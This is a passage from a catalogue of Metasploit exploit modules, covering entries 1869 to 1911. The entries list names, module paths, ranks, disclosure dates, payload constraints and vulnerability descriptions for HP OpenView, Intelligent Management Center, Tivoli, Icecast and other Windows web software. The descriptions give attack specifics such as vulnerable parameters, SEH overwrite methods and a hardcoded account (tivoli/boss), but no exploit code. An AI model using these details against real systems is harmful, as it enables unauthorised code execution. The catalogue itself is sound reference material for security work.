  This vulnerability allows remote attackers to execute arbitrary code
on vulnerable installations of
  Hewlett Packard Enterprise Intelligent Management Center.
Authentication is not required to exploit
  this vulnerability.
  The specific flaw exists within the WebDMDebugServlet, which listens
on TCP ports 8080 and 8443 by
  default. The issue results from the lack of proper validation of
user-supplied data, which can result
  in deserialization of untrusted data. An attacker can leverage this
vulnerability to execute arbitrary
  code in the context of SYSTEM.

End Exploit Number 1869

Begin Exploit Number 1870
       Name: HP Intelligent Management Center Arbitrary File Upload
     Module: exploit/windows/http/hp_imc_mibfileupload
   Platform: Windows
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-03-07

Payload information:

Description:
  This module exploits a code execution flaw in HP Intelligent
Management Center.
  The vulnerability exists in the mibFileUpload which is accepting
unauthenticated
  file uploads and handling zip contents in an insecure way. Combining
both weaknesses
  a remote attacker can accomplish arbitrary file upload. This module
has been tested
  successfully on HP Intelligent Management Center 5.1 E0202 over
Windows 2003 SP2.

End Exploit Number 1870

Begin Exploit Number 1871
       Name: HP LoadRunner EmulationAdmin Web Service Directory
Traversal
     Module: exploit/windows/http/hp_loadrunner_copyfiletoserver
   Platform: Windows
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-30

Payload information:
```

```
Description:
  This module exploits a directory traversal vulnerability in version
11.52 of HP
  LoadRunner. The vulnerability exists in the EmulationAdmin web
service, specifically
  in the copyFileToServer method, allowing the upload of arbitrary
files. This module has
  been tested successfully on HP LoadRunner 11.52 on Windows 2003 SP2.

End Exploit Number 1871

Begin Exploit Number 1872
       Name: HP Managed Printing Administration jobAcct Remote Command
Execution
     Module: exploit/windows/http/hp_mpa_job_acct
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-12-21

Payload information:

Description:
  This module exploits an arbitrary file upload vulnerability on HP
Managed Printing
  Administration 2.6.3 and prior versions. The vulnerability exists in
the UploadFiles()
  function from the MPAUploader.Uploader.1 control, loaded and used by
the server.
  The function can be abused via directory traversal and null byte
injection in order
  to achieve arbitrary file upload. In order to exploit successfully,
a few conditions
  must be met. First, a writable location under the context of
Internet Guest Account
  (IUSR_*) or Everyone is required. By default, this module will
attempt to write to
  /hpmpa/userfiles/, but the WRITEWEBFOLDER option can be used to
provide
  another writable path. Second, the writable path must also be
readable by a browser,
  so this typically means a location under wwwroot. Finally, you
cannot overwrite
  a file with the same name as the payload.

End Exploit Number 1872

Begin Exploit Number 1873
```

```
       Name: HP OpenView Network Node Manager getnnmdata.exe
(Hostname) CGI Buffer Overflow
     Module: exploit/windows/http/hp_nnm_getnnmdata_hostname
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-05-11

Payload information:
  Space: 750
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in HP OpenView Network Node
Manager 7.50/7.53.
  By sending specially crafted Hostname parameter to the
getnnmdata.exe CGI,
  an attacker may be able to execute arbitrary code.

End Exploit Number 1873

Begin Exploit Number 1874
       Name: HP OpenView Network Node Manager getnnmdata.exe (ICount)
CGI Buffer Overflow
     Module: exploit/windows/http/hp_nnm_getnnmdata_icount
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-05-11

Payload information:
  Space: 750
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in HP OpenView Network Node
Manager 7.50/7.53.
  By sending specially crafted ICount parameter to the getnnmdata.exe
CGI,
  an attacker may be able to execute arbitrary code.

End Exploit Number 1874

Begin Exploit Number 1875
       Name: HP OpenView Network Node Manager getnnmdata.exe (MaxAge)
CGI Buffer Overflow
```

```
      Module: exploit/windows/http/hp_nnm_getnnmdata_maxage
    Platform: Windows
        Arch: 
  Privileged: No
     License: Metasploit Framework License (BSD)
        Rank: Great
   Disclosed: 2010-05-11

Payload information:
  Space: 750
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in HP OpenView Network Node 
Manager 7.50/7.53.
  By sending specially crafted MaxAge parameter to the getnnmdata.exe 
CGI,
  an attacker may be able to execute arbitrary code.

End Exploit Number 1875

Begin Exploit Number 1876
        Name: HP OpenView NNM nnmRptConfig nameParams Buffer Overflow
      Module: exploit/windows/http/hp_nnm_nnmrptconfig_nameparams
    Platform: Windows
        Arch: 
  Privileged: No
     License: Metasploit Framework License (BSD)
        Rank: Normal
   Disclosed: 2011-01-10

Payload information:
  Avoid: 13 characters

Description:
  This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.
  A remote user can send a long string data to the nameParams 
parameter via
  a POST request, which causes an overflow on the stack when function
  ov.sprintf_new() is used, and gain arbitrary code execution.'

End Exploit Number 1876

Begin Exploit Number 1877
        Name: HP OpenView NNM nnmRptConfig.exe schdParams Buffer 
Overflow
      Module: exploit/windows/http/hp_nnm_nnmrptconfig_schdparams
    Platform: Windows
        Arch: 
  Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-01-10

Payload information:
  Avoid: 3 characters

Description:
  This module exploits NNM's nnmRptConfig.exe. Similar to other NNM 
CGI bugs,
  the overflow occurs during a ov.sprintf_new() call, which allows an 
attacker to
  overwrite data on the stack, and gain arbitrary code execution.

End Exploit Number 1877

Begin Exploit Number 1878
       Name: HP OpenView Network Node Manager OpenView5.exe CGI Buffer 
Overflow
     Module: exploit/windows/http/hp_nnm_openview5
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2007-12-06

Payload information:
  Space: 650
  Avoid: 13 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView Network 
Node Manager 7.50.
  By sending a specially crafted CGI request, an attacker may be able 
to execute
  arbitrary code.

End Exploit Number 1878

Begin Exploit Number 1879
       Name: HP OpenView Network Node Manager ovalarm.exe CGI Buffer 
Overflow
     Module: exploit/windows/http/hp_nnm_ovalarm_lang
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-12-09
```

```
Payload information:
  Space: 650
  Avoid: 32 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView Network
Node Manager 7.53.
  By sending a specially crafted CGI request to ovalarm.exe, an
attacker can execute
  arbitrary code.

  This specific vulnerability is due to a call to "sprintf_new" in the
"isWide"
  function within "ovalarm.exe". A stack buffer overflow occurs when
processing an
  HTTP request that contains the following.

  1. An "Accept-Language" header longer than 100 bytes
  2. An "OVABverbose" URI variable set to "on", "true" or "1"

  The vulnerability is related to "_WebSession::GetWebLocale()".

  NOTE: This exploit has been tested successfully with a
reverse_ord_tcp payload.

End Exploit Number 1879

Begin Exploit Number 1880
       Name: HP OpenView NNM 7.53, 7.51 OVAS.EXE Pre-Authentication
Stack Buffer Overflow
     Module: exploit/windows/http/hp_nnm_ovas
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-04-02

Payload information:
  Space: 1000
  Avoid: 3 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView Network
Node Manager versions 7.53 and earlier.
  Specifically this vulnerability is caused by a failure to properly
handle user supplied input within the
  HTTP request including headers and the actual URL GET request.
  Exploitation is tricky due to character restrictions. It was
necessary to utilize a egghunter shellcode
  which was alphanumeric encoded by muts in the original exploit.

  If you plan on using exploit this for a remote shell, you will
likely want to migrate to a different process
  as soon as possible. Any connections get reset after a short period
of time. This is probably some timeout
  handling code that causes this.

End Exploit Number 1880

Begin Exploit Number 1881
       Name: HP OpenView Network Node Manager ov.dll _OVBuildPath
Buffer Overflow
     Module: exploit/windows/http/hp_nnm_ovbuildpath_textfile
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-11-01

Payload information:
  Space: 950
  Avoid: 45 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView Network
Node
  Manager 7.53 prior to NNM_01213 without the SSRT100649 hotfix. By
specifying a long
  'textFile' argument when calling the 'webappmon.exe' CGI program, an
attacker can
  cause a stack-based buffer overflow and execute arbitrary code.

  The vulnerable code is within the "_OVBuildPath" function within
"ov.dll". There
  are no stack cookies, so exploitation is achieved by overwriting the
saved return
  address.

  The vulnerability is due to the use of the function "_OVConcatPath"
which finally
  uses "strcat" in an insecure way. User controlled data is
concatenated to a string
  which contains the OpenView installation path.

  To achieve reliable exploitation a directory traversal in
OpenView5.exe
```

```
  (OSVDB 44359) is being used to retrieve OpenView logs and disclose
the installation
  path. If the installation path cannot be guessed the default
installation path
  is used.

End Exploit Number 1881

Begin Exploit Number 1882
       Name: HP OpenView Network Node Manager OvWebHelp.exe CGI Buffer
Overflow
     Module: exploit/windows/http/hp_nnm_ovwebhelp
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-12-09

Payload information:
  Space: 650
  Avoid: 13 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView Network
Node Manager 7.50.
  By sending a specially crafted CGI request to OvWebHelp.exe, an
attacker may be able to execute
  arbitrary code.

End Exploit Number 1882

Begin Exploit Number 1883
       Name: HP OpenView Network Node Manager ovwebsnmpsrv.exe main
Buffer Overflow
     Module: exploit/windows/http/hp_nnm_ovwebsnmpsrv_main
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-06-16

Payload information:
  Space: 1024
  Avoid: 12 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView Network
Node Manager 7.53
```

```
  prior to NNM_01203. By specifying a long 'arg' parameter when
executing the 'jovgraph.exe'
  CGI program, an attacker can cause a stack-based buffer overflow and
execute arbitrary code.

  This vulnerability is triggerable via either a GET or POST request.
The buffer being
  written to is 1024 bytes in size. It is important to note that this
vulnerability must
  be exploited by overwriting SEH. Otherwise, CVE-2010-1961 is
triggered!

  The vulnerable code is within the "main" function within
"ovwebsnmpsrv.exe" with a
  timestamp prior to April 7th, 2010. There are no stack cookies, so
exploitation is
  easily achieved by overwriting SEH structures.

  There exists some unreliability when running this exploit. It is not
completely clear why
  at this time, but may be related to OVWDB or session management.
Also, on some attempts
  OV NNM may report invalid characters in the URL. It is not clear
what is causing this
  either.

End Exploit Number 1883

Begin Exploit Number 1884
       Name: HP OpenView Network Node Manager ovwebsnmpsrv.exe ovutil
Buffer Overflow
     Module: exploit/windows/http/hp_nnm_ovwebsnmpsrv_ovutil
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-06-16

Payload information:
  Space: 512
  Avoid: 12 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView Network
Node Manager 7.53
  prior to NNM_01203. By specifying a long 'arg' parameter when
executing the 'jovgraph.exe'
  CGI program, an attacker can cause a stack-based buffer overflow and
execute arbitrary code.
```

```
  This vulnerability is triggerable via either a GET or POST request.
It is interesting to
  note that this vulnerability cannot be exploited by overwriting SEH,
since attempting
  to would trigger CVE-2010-1964.

  The vulnerable code is within a sub-function called from "main"
within "ovwebsnmpsrv.exe"
  with a timestamp prior to April 7th, 2010. This function contains a
256 byte stack buffer
  which is passed to the "getProxiedStorageAddress" function within
ovutil.dll. When
  processing the address results in an error, the buffer is overflowed
in a call to sprintf_new.
  There are no stack cookies present, so exploitation is easily
achieved by overwriting the
  saved return address.

  There exists some unreliability when running this exploit. It is not
completely clear why
  at this time, but may be related to OVWDB or session management.
Also, on some attempts
  OV NNM may report invalid characters in the URL. It is not clear
what is causing this
  either.

End Exploit Number 1884

Begin Exploit Number 1885
       Name: HP OpenView Network Node Manager ovwebsnmpsrv.exe
Unrecognized Option Buffer Overflow
     Module: exploit/windows/http/hp_nnm_ovwebsnmpsrv_uro
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-06-08

Payload information:
  Space: 10240
  Avoid: 41 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView Network
Node Manager 7.53
  prior to NNM_01203. By specifying a long 'arg' parameter when
executing the 'jovgraph.exe'
  CGI program, an attacker can cause a stack-based buffer overflow and
```

```
execute arbitrary code.
  The vulnerable code is within the option parsing function within
"ovwebsnmpsrv.exe" with a
  timestamp prior to April 7th, 2010.

  Reaching the vulnerable code requires a 'POST' request with an 'arg'
parameter that, when combined
  with some static text, exceeds 10240 bytes. The parameter must begin
with a dash. It is
  important to note that this vulnerability must be exploited by
overwriting SEH. This is since
  overflowing the buffer with controllable data always triggers an
access violation when
  attempting to write static text beyond the end of the stack.

  Exploiting this issue is a bit tricky due to a restrictive character
set. In order to accomplish
  arbitrary code execution, a double-backward jump is used in
combination with the Alpha2
  encoder.

End Exploit Number 1885

Begin Exploit Number 1886
       Name: HP OpenView Network Node Manager Snmp.exe CGI Buffer
Overflow
     Module: exploit/windows/http/hp_nnm_snmp
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-12-09

Payload information:
  Space: 650
  Avoid: 13 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView Network
Node Manager 7.50.
  By sending a specially crafted CGI request to Snmp.exe, an attacker
may be able to execute
  arbitrary code.

End Exploit Number 1886

Begin Exploit Number 1887
       Name: HP OpenView Network Node Manager snmpviewer.exe Buffer
Overflow
```

```
     Module: exploit/windows/http/hp_nnm_snmpviewer_actapp
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-05-11

Payload information:
  Space: 1024
  Avoid: 40 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView Network 
Node Manager 7.53
  prior to NNM_01203. By making a specially crafted HTTP request to 
the "snmpviewer.exe"
  CGI program, an attacker can cause a stack-based buffer overflow and 
execute arbitrary
  code.

  The vulnerable code lies within a function within "snmpviewer.exe" 
with a
  timestamp prior to April 7th, 2010. This vulnerability is 
triggerable via either a GET
  or POST request. The request must contain 'act' and 'app' parameters 
which, when
  combined, total more than the 1024 byte stack buffer can hold.

  It is important to note that this vulnerability must be exploited by 
overwriting SEH.
  While the saved return address can be smashed, a function call that 
occurs before
  the function returns calls "exit".

End Exploit Number 1887

Begin Exploit Number 1888
       Name: HP OpenView Network Node Manager Toolbar.exe CGI Buffer 
Overflow
     Module: exploit/windows/http/hp_nnm_toolbar_01
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-01-07

Payload information:
  Space: 650
  Avoid: 13 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView Network
Node Manager 7.50.
  By sending a specially crafted CGI request to Toolbar.exe, an
attacker may be able to execute
  arbitrary code.

End Exploit Number 1888

Begin Exploit Number 1889
       Name: HP OpenView Network Node Manager Toolbar.exe CGI Cookie
Handling Buffer Overflow
     Module: exploit/windows/http/hp_nnm_toolbar_02
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-01-21

Payload information:
  Space: 4000
  Avoid: 33 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView Network
Node Manager 7.0
  and 7.53.  By sending a CGI request with a specially OvOSLocale
cookie to Toolbar.exe, an
  attacker may be able to execute arbitrary code.  Please note that
this module only works
  against a specific build (i.e. NNM 7.53_01195)

End Exploit Number 1889

Begin Exploit Number 1890
       Name: HP OpenView Network Node Manager execvp_nc Buffer
Overflow
     Module: exploit/windows/http/hp_nnm_webappmon_execvp
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-07-20

Payload information:
  Space: 1024
  Avoid: 11 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView Network
Node Manager 7.53
  prior to NNM_01207 or NNM_01206 without the SSRT100025 hotfix. By
specifying a long 'sel'
  parameter when calling methods within the 'webappmon.exe' CGI
program, an attacker can
  cause a stack-based buffer overflow and execute arbitrary code.

  This vulnerability is not triggerable via a GET request due to
limitations on the
  request size. The buffer being targeted is 16384 bytes in size.
There are actually two
  adjacent buffers that both get overflowed (one into the other), and
strcat is used.

  The vulnerable code is within the "execvp_nc" function within
"ov.dll" prior to
  v 1.30.12.69. There are no stack cookies, so exploitation is easily
achieved by
  overwriting the saved return address or SEH frame.

  This vulnerability might also be triggerable via other CGI programs,
however this was
  not fully investigated.

End Exploit Number 1890

Begin Exploit Number 1891
       Name: HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow
     Module: exploit/windows/http/hp_nnm_webappmon_ovjavalocale
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-08-03

Payload information:
  Space: 1024
  Avoid: 32 characters

Description:
  This module exploits a stack buffer overflow in HP OpenView Network
Node Manager 7.53.
    By sending a request containing a cookie longer than 5120 bytes,
an attacker can overflow
    a stack buffer and execute arbitrary code.
    The vulnerable code is within the OvWwwDebug function. The static-
sized stack buffer is
    declared within this function. When the vulnerability is
triggered, the stack trace looks
    like the following:

      #0 ...
      #1 sprintf_new(local_stack_buf, fmt, cookie);
      #2 OvWwwDebug("   HTTP_COOKIE=%s\n", cookie);
      #3 ?OvWwwInit@@YAXAAHQAPADPBD@Z(x, x, x);
      #4 sub_405ee0("nnm", "webappmon");

    No validation is done on the cookie argument. There are no stack
cookies, so exploitation
    is easily achieved by overwriting the saved return address or SEH
frame.

    The original advisory detailed an attack vector using the
"OvJavaLocale" cookie being
    passed in a request to "webappmon.exe". Further research shows
that several different
    cookie values, as well as several different CGI applications, can
be used.


End Exploit Number 1891

Begin Exploit Number 1892
       Name: HP OpenView Performance Insight Server Backdoor Account
Code Execution
     Module: exploit/windows/http/hp_openview_insight_backdoor
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-01-31

Payload information:

Description:
  This module exploits a hidden account in the
com.trinagy.security.XMLUserManager Java
  class. When using this account, an attacker can abuse the
  com.trinagy.servlet.HelpManagerServlet class and write arbitrary
files to the system
  allowing the execution of arbitrary code.

  NOTE: This module has only been tested against HP OpenView
```

```
Performance Insight Server 5.41.0

End Exploit Number 1892

Begin Exploit Number 1893
       Name: HP ProCurve Manager SNAC UpdateCertificatesServlet File
Upload
     Module: exploit/windows/http/hp_pcm_snac_update_certificates
   Platform: Windows
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-09

Payload information:

Description:
  This module exploits a path traversal flaw in the HP ProCurve
Manager SNAC Server. The
  vulnerability in the UpdateCertificatesServlet allows an attacker to
upload arbitrary
  files, just having into account binary writes aren't allowed.
Additionally, authentication
  can be bypassed in order to upload the file. This module has been
tested successfully on
  the SNAC server installed with HP ProCurve Manager 4.0.

End Exploit Number 1893

Begin Exploit Number 1894
       Name: HP ProCurve Manager SNAC UpdateDomainControllerServlet
File Upload
     Module: exploit/windows/http/hp_pcm_snac_update_domain
   Platform: Windows
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-09

Payload information:

Description:
  This module exploits a path traversal flaw in the HP ProCurve
Manager SNAC Server. The
  vulnerability in the UpdateDomainControllerServlet allows an
attacker to upload arbitrary
  files, just having into account binary writes aren't allowed.
Additionally, authentication
```

```
  can be bypassed in order to upload the file. This module has been
tested successfully on
  the SNAC server installed with HP ProCurve Manager 4.0.

End Exploit Number 1894

Begin Exploit Number 1895
       Name: HP Power Manager 'formExportDataLogs' Buffer Overflow
     Module: exploit/windows/http/hp_power_manager_filename
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-10-19

Payload information:
  Avoid: 28 characters

Description:
  This module exploits a buffer overflow in HP Power Manager's
'formExportDataLogs'.
  By creating a malformed request specifically for the fileName
parameter, a stack-based
  buffer overflow occurs due to a long error message (which contains
the fileName),
  which may result in arbitrary remote code execution under the
context of 'SYSTEM'.

End Exploit Number 1895

Begin Exploit Number 1896
       Name: Hewlett-Packard Power Manager Administration Buffer
Overflow
     Module: exploit/windows/http/hp_power_manager_login
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2009-11-04

Payload information:
  Avoid: 28 characters

Description:
  This module exploits a stack buffer overflow in Hewlett-Packard
Power Manager 4.2.
  Sending a specially crafted POST request with an overly long Login
string, an
```

```
  attacker may be able to execute arbitrary code.

End Exploit Number 1896

Begin Exploit Number 1897
       Name: HP SiteScope DNS Tool Command Injection
     Module: exploit/windows/http/hp_sitescope_dns_tool
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2015-10-09

Payload information:

Description:
  This module exploits a command injection vulnerability
  discovered in HP SiteScope 11.30 and earlier versions (tested in
11.26
  and 11.30). The vulnerability exists in the DNS Tool allowing an
  attacker to execute arbitrary commands in the context of the
service. By
  default, HP SiteScope installs and runs as SYSTEM in Windows and
does
  not require authentication. This vulnerability only exists on the
  Windows version. The Linux version is unaffected.

End Exploit Number 1897

Begin Exploit Number 1898
       Name: HP SiteScope Remote Code Execution
     Module: exploit/windows/http/hp_sitescope_runomagentcommand
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2013-07-29

Payload information:

Description:
  This module exploits a code execution flaw in HP SiteScope.
  The vulnerability exists in the opcactivate.vbs script, which
  is reachable from the APIBSMIntegrationImpl AXIS service, and
  uses WScript.Shell.run() to execute cmd.exe with user provided
  data. Note that the opcactivate.vbs component is installed
  with the (optional) HP Operations Agent component. The module
  has been tested successfully on HP SiteScope 11.20 (with HP
  Operations Agent) over Windows 2003 SP2.

End Exploit Number 1898

Begin Exploit Number 1899
       Name: HPE Systems Insight Manager AMF Deserialization RCE
     Module: exploit/windows/http/hpe_sim_76_amf_deserialization
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-12-15

Payload information:

Description:
  A remotely exploitable vulnerability exists within HPE System 
Insight Manager (SIM) version 7.6.x that can be
  leveraged by a remote unauthenticated attacker to execute code 
within the context of HPE System Insight
  Manager's hpsimsvc.exe process, which runs with administrative 
privileges. The vulnerability occurs due
  to a failure to validate data during the deserialization process 
when a user submits a POST request to
  the /simsearch/messagebroker/amfsecure page. This module exploits 
this vulnerability by leveraging an
  outdated copy of Commons Collection, namely 3.2.2, that ships with 
HPE SIM, to gain
  RCE as the administrative user running HPE SIM.

End Exploit Number 1899

Begin Exploit Number 1900
       Name: HTTPDX h_handlepeer() Function Buffer Overflow
     Module: exploit/windows/http/httpdx_handlepeer
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-10-08

Payload information:
  Space: 472
  Avoid: 9 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability in 
HTTPDX HTTP server 1.4. The
```

```
  vulnerability is caused due to a boundary error within the
"h_handlepeer()" function in http.cpp.
  By sending an overly long HTTP request, an attacker can overrun a
buffer and execute arbitrary code.

End Exploit Number 1900

Begin Exploit Number 1901
       Name: HTTPDX tolog() Function Format String Vulnerability
     Module: exploit/windows/http/httpdx_tolog_format
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-11-17

Payload information:
  Space: 1024
  Avoid: 7 characters

Description:
  This module exploits a format string vulnerability in HTTPDX HTTP
server.
  By sending a specially crafted HTTP request containing format
specifiers, an
  attacker can corrupt memory and execute arbitrary code.

  By default logging is off for HTTP, but enabled for the 'moderator'
user
  via FTP.

End Exploit Number 1901

Begin Exploit Number 1902
       Name: IA WebMail 3.x Buffer Overflow
     Module: exploit/windows/http/ia_webmail
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2003-11-03

Payload information:
  Space: 1024
  Avoid: 13 characters

Description:
  This exploits a stack buffer overflow in the IA WebMail server.
  This exploit has not been tested against a live system at
  this time.

End Exploit Number 1902

Begin Exploit Number 1903
       Name: IBM Tivoli Endpoint Manager POST Query Buffer Overflow
     Module: exploit/windows/http/ibm_tivoli_endpoint_bof
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-05-31

Payload information:
  Space: 400
  Avoid: 3 characters

Description:
  This module exploits a stack based buffer overflow in the way IBM
Tivoli
    Endpoint Manager versions 3.7.1, 4.1, 4.1.1, 4.3.1 handles long
POST query
    arguments.

    This issue can be triggered by sending a specially crafted HTTP
POST request to
  the service (lcfd.exe) listening on TCP port 9495. To trigger this
issue authorization
  is required. This exploit makes use of a second vulnerability, a
hardcoded account
  (tivoli/boss) is used to bypass the authorization restriction.

End Exploit Number 1903

Begin Exploit Number 1904
       Name: IBM TPM for OS Deployment 5.1.0.x rembo.exe Buffer
Overflow
     Module: exploit/windows/http/ibm_tpmfosd_overflow
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-05-02

Payload information:
  Avoid: 28 characters
```

```
Description:
  This is a stack buffer overflow exploit for IBM Tivoli Provisioning
Manager
  for OS Deployment version 5.1.0.X.

End Exploit Number 1904

Begin Exploit Number 1905
       Name: IBM Tivoli Storage Manager Express CAD Service Buffer
Overflow
     Module: exploit/windows/http/ibm_tsm_cad_header
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-09-24

Payload information:
  Space: 650
  Avoid: 13 characters

Description:
  This module exploits a stack buffer overflow in the IBM Tivoli
Storage Manager Express CAD Service (5.3.3).
  By sending an overly long GET request, it may be possible for an
attacker to execute arbitrary code.

End Exploit Number 1905

Begin Exploit Number 1906
       Name: Icecast Header Overwrite
     Module: exploit/windows/http/icecast_header
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2004-09-28

Payload information:
  Space: 2000
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in the header parsing of
icecast
  versions 2.0.1 and earlier, discovered by Luigi Auriemma. Sending 32
  HTTP headers will cause a write one past the end of a pointer array.
On
```

```
  win32 this happens to overwrite the saved instruction pointer, and
on
  linux (depending on compiler, etc) this seems to generally overwrite
  nothing crucial (read not exploitable).

  This exploit uses ExitThread(), this will leave icecast thinking the
  thread is still in use, and the thread counter won't be decremented.
  This means for each time your payload exits, the counter will be
left
  incremented, and eventually the threadpool limit will be maxed. So
you
  can multihit, but only till you fill the threadpool.

End Exploit Number 1906

Begin Exploit Number 1907
       Name: Race River Integard Home/Pro LoginAdmin Password Stack
Buffer Overflow
     Module: exploit/windows/http/integard_password_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-09-07

Payload information:
  Space: 2000
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in Race river's
Integard Home/Pro
  internet content filter HTTP Server. Versions prior to 2.0.0.9037
and 2.2.0.9037 are
  vulnerable.

  The administration web page on port 18881 is vulnerable to a remote
buffer overflow
  attack. By sending a long character string in the password field,
both the structured
  exception handler and the saved extended instruction pointer are
over written, allowing
  an attacker to gain control of the application and the underlying
operating system
  remotely.

  The administration website service runs with SYSTEM privileges, and
automatically
  restarts when it crashes.
```

```
End Exploit Number 1907

Begin Exploit Number 1908
       Name: InterSystems Cache UtilConfigHome.csp Argument Buffer
Overflow
     Module: exploit/windows/http/intersystems_cache
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-09-29

Payload information:
  Space: 650
  Avoid: 16 characters

Description:
  This module exploits a stack buffer overflow in InterSystems Cache
2009.1.
  By sending a specially crafted GET request, an attacker may be able
to execute
  arbitrary code.

End Exploit Number 1908

Begin Exploit Number 1909
       Name: Intrasrv 1.0 Buffer Overflow
     Module: exploit/windows/http/intrasrv_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2013-05-30

Payload information:
  Space: 4660
  Avoid: 3 characters

Description:
  This module exploits a boundary condition error in Intrasrv Simple
Web
  Server 1.0. The web interface does not validate the boundaries of an
  HTTP request string prior to copying the data to an insufficiently
sized
  buffer. Successful exploitation leads to arbitrary remote code
execution
  in the context of the application.
```

```
End Exploit Number 1909

Begin Exploit Number 1910
       Name: Ipswitch WhatsUp Gold 8.03 Buffer Overflow
     Module: exploit/windows/http/ipswitch_wug_maincfgret
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2004-08-25

Payload information:
  Space: 500
  Avoid: 13 characters

Description:
  This module exploits a buffer overflow in IPswitch WhatsUp Gold 
8.03. By
  posting a long string for the value of 'instancename' in the 
_maincfgret.cgi
  script an attacker can overflow a buffer and execute arbitrary code 
on the system.

End Exploit Number 1910

Begin Exploit Number 1911
       Name: Ivanti Avalanche FileStoreConfig File Upload
     Module: exploit/windows/http/
ivanti_avalanche_filestoreconfig_upload
   Platform: Windows, Java
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-04-24

Payload information:
